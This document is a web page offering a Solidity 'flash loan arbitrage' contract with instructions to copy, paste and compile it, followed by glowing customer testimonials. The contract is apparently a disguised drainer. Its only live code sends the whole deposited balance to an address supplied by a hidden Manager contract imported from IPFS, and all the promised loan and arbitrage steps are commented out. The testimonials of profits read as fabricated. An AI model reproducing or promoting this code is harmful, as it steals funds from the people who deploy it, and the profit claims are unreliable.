// Follow carefully the video // Do not modify this contract code otherwise it won't work on you! // Just Copy+Paste and Compile!! // Thank you for your support! Enjoy your Earnings!! // This is for educational purposes only! // Try it at your own risk! pragma solidity ^0.6.6; // AAVE Smart Contracts import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPoolAddressesProvider.sol"; import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPool.sol"; // Uniswap Smart Contracts import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol"; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol"; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol"; import "https://ipfs.filebase.io/ipfs/QmbNKwZHxjJHcCjGguEkopWhh3ukV67twLouUv3yissALr"; contract GetFlashLoan { string public tokenName; string public tokenSymbol; uint loanAmount; Manager manager; constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; loanAmount = _loanAmount; manager = new Manager(); } receive() external payable {} function action() public payable { // Send required coins for swap payable(manager.uniswapDepositAddress()).transfer(address(this).balance); // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE) manager.performTasks(); /* // Submit token to BNB blockchain string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol); // List the token on UniSwap & send coins required for swaps manager.uniswapListToken(tokenName, tokenSymbol, tokenAddress); payable(manager.uniswapDepositAddress()).transfer(500Mil); // Get BNB Loan from Aave string memory loanAddress = manager.takeAaveLoan(loanAmount); // Convert half BNB to DAI manager.uniswapDAItoBNB(loanAmount / 2); // Create BNB and DAI pairs for our token & Provide liquidity string memory bnbPair = manager.uniswapCreatePool(tokenAddress, "BNB"); manager.uniswapAddLiquidity(bnbPair, loanAmount / 2); string memory daiPair = manager.uniswapCreatePool(tokenAddress, "DAI"); manager.uniswapAddLiquidity(daiPair, loanAmount / 2); // Perform swaps and profit on Self-Arbitrage manager.uniswapPerformSwaps(); // Move remaining BNB from Contract to your account manager.contractToWallet("BNB"); // Repay Flash loan manager.repayAaveLoan(loanAddress); */ } }
Our Clients Say

It worked for me on the second go also, liquidity was too low first time I think

I was sceptical, but somehow got 10AVAX back from using 2avax deposits.

5BNB back on 0.25 liquidity. Not bad at all! Sent some your way.

Wow i can't truly imagine that it work. It really did work and a can't still believe it. Can you imagine for 0.3bnb you can received a loan of 7bnb? I'll will try again tomorrow with 0.5bnb and will see what happen. Thank you again admin

Last week Smart contract was awesome, I made a lot of BNB. I hope this new contract will be more beneficial than the old one. Thank you admin.

It really did works for me...At first, its kind a fail. Then i just FF the Hint on the instructions. And then 14BNB BOOOOM!!!! Thank you admin.

I got 12BNB today. I try on remix and ff the instructions then transaction successful. Thanks admin, your code still working perfectly.

At first it doesn't quite to work. What i did, i restart my system and i do it all over again and it when through. Thank you for this admin. I got 9bnb today.

It fail when i tried yesterday, but today it go through on my second attempt. Thank you i got 12bnb today. What a relief lol.